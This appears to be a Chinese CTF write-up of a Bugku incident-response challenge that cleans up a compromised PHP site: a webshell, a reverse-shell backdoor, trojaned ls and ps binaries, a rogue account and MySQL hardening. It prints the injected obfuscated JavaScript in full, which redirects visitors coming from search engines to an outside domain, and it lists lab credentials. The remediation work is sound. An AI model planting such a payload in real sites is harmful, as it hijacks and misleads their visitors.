bugku-应急加固

目录

1、获取js劫持域名 

2、黑客首次webshell密码

3、黑客首次攻击（非有效攻击）通过什么方式（如:文件上传、SQL注入、命令执行）

4、请找到黑客留下的后门中黑客服务器的ip及端口

5、黑客篡改的ls生成的免杀webshell，找到提交webshell内的flag

6、MySQL

7、找到黑客添加的账号并删除

8、篡改命令1,2

9、修复js劫持

---

1、获取js劫持域名 

直接访问发现刚开始是一个xx二手交易市场，随即跳转到了https://www.194nb.com。这个URL就是flag

2、黑客首次webshell密码

 登录ssh服务器：ssh root@47.101.144.74,查看站点上传文件目录 /var/www/html/public/Uploads 查看上传文件，在上传的webshell中发现密码 只有一个.php文件，查看一下提交就行了

或者分析/var/log/nginx/access.log下的日志在/var/www/html/public/Uploads/6127418cad73c.php中，进入服务器cat查看

密码为：QjsvWsp6L84Vl9dRTTytVyn5xNr1

3、黑客首次攻击（非有效攻击）通过什么方式（如:文件上传、SQL注入、命令执行）

 查看/var/log/nginx/ 下的nginx web访问日志看到关键字 'alert',判定为xss

或者下载nginx日志

4、请找到黑客留下的后门中黑客服务器的ip及端口

查看系统日志syslog：sudo cat /var/log/syslog |tail -n 100

 执行ps -aux看看当前进程，筛选出www-data用户的进程  

发现有一个恶意的1.sh，读出来发现是一个反弹shell的脚本

5、黑客篡改的ls生成的免杀webshell，找到提交webshell内的flag

正常ls返回是自动排版的， 检查ls文件发现ls被劫持，删除/bin/ls把/bin/ls2改回ls即可

同时发现黑客留下的第二个webshell后门

也可以用日志提取慢慢分析，最后在/var/www/html/public/static/img里面找到一个1.php，查看一下发现正是要找的东西

6、MySQL

数据库账号密码在/var/www/html/application/database.php中

登录mysql， 回收用户的file权限并关闭全局日志功能，点击题目中的check按钮即可完成该题目。

mysql -u root -p123456

mysql> revoke file on *.* from 'root'@'localhost';
Query OK, 0 rows affected (0.00 sec)
mysql> set global general_log = off;
Query OK, 0 rows affected (0.00 sec)
mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

7、找到黑客添加的账号并删除

 cat /etc/passwd查找黑客留下的账号

ps -u aman   确认aman用户下没有别的进程

userdel -r aman  删除账号

8、篡改命令1,2

先去/bin里面找一下常用的命令，发现ls 跟 ps 命令有问题

删除ls和ps，并且把正版的ls2和ps_恢复，并且把冒牌货ls中用echo写入的“不死马”删除

rm -rf ls

rm -rf ps

mv ls2 ls

mv ps_ ps

rm -rf /var/www/html/public/static/img/1.php

9、修复js劫持

root@iZuf6dghbdoy5hxqqq3e4qZ:/var/www/html# find . | xargs grep -ri '<script type="text/javascript">' -l | sort | uniq -c
      6 ./application/home/view/public/js.html
      4 ./runtime/temp/7989650828d8c92a2cbbbcbe7c322c03.php
      4 ./runtime/temp/ba0546f2ed29bcb24fbace34b295ef45.php
      4 ./thinkphp/tpl/dispatch_jump.tpl
      4 ./thinkphp/tpl/page_trace.tpl
root@iZuf6dghbdoy5hxqqq3e4qZ:/var/www/html# rm runtime/temp/7989650828d8c92a2cbbbcbe7c322c03.php
root@iZuf6dghbdoy5hxqqq3e4qZ:/var/www/html# rm runtime/temp/ba0546f2ed29bcb24fbace34b295ef45.php

把马都删了，然后看一下这个js.html
root@iZuf6dghbdoy5hxqqq3e4qZ:/var/www/html# cat application/home/view/public/js.html

<script src="__STATIC__js/jquery.min.js"></script>
<script src="__STATIC__js/amazeui.min.js"></script>
<script src="__STATIC__js/iscroll.js"></script>
<script src="__STATIC__js/amazeui.page.js"></script>
<script src="__STATIC__js/app.js"></script>
<script src="__STATIC__js/aman.js"></script>
<script src="__STATIC__/lib/layer.js"></script>
<script type="text/javascript">
    ['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4'] + [])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null, "118G97R114N32J74g116J114Y118p103G49c32T61Y32d47A46N40K115V111q103P111B117l124o115s111l124B104h97D111n115m111n117O124d98k97I105I100N117x124f103Q111F111c103Z108V101c124d121G111z117u100F97g111O124Z121H97f104S111y111o124E98Q105z110c103T124g103u111M117B103K111o117P124G49k49s56V49J49n52v124n118l110D101M116P124Z51Z54q48u124T105U111n97v103E101B124M115M109k124c115g112u41V40c46b91L97K45V122y48i45I57A47Y45W93K43U41d123n49Z44v50m125f47a105K103A59v10A32z32q32W32P118d97E114f32v109B95n103j103M50Q32t61p32U119Q105h110E100t111Y119i91G34w100O111Z99P117L109L101D110Q116t34q93i91y34R114L101Z102T101G114h114l101K114l34c93e59S10l32M32t32o32Z105V102t32K40f74k116N114O118N103X49g91e34D116V101g115a116w34w93Z40x109g95a103V103X50I41a41p32U123X10w32W32p32q32j32U32K32o32l119G105M110B100c111g119Q91G34U108n111m99J97t116J105R111i110w34X93a91A34w104H114V101v102R34Y93z32e61X32t34a104O116T116K112S115V58O47Z47a119o119w119J46E49i57T52E110e98V46S99A111e109M34W10D32x32N32Y32h32r32b32V32t104h61C123M102w108T97l103Q58b34K123b110u119T109o98W56S114O107F116y53T110e117r110k51o112P105Y102U53q119y115t46w121o97A52d110H107K115c48y50N122w107G125u34a125a59j10A32j32G32h32t125F32p101d108a115h101r32u123k10e32E32A32y32b32j32a32x32M108Y111f99g97r116F105J111J110W91e39n104I114S101N102D39Y93f32F61d32D34L104T116c116v112e115f58t47B47F119P119l119u46t49Z57X52R110r98X46s99B111W109L34a10f32q32g32f32T125" ['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');
</script>root@iZuf6dghbdoy5hxqqq3e4qZ:/var/www/html# vim application/home/view/public/js.html

把里面的恶意代码删了，然后也check成功了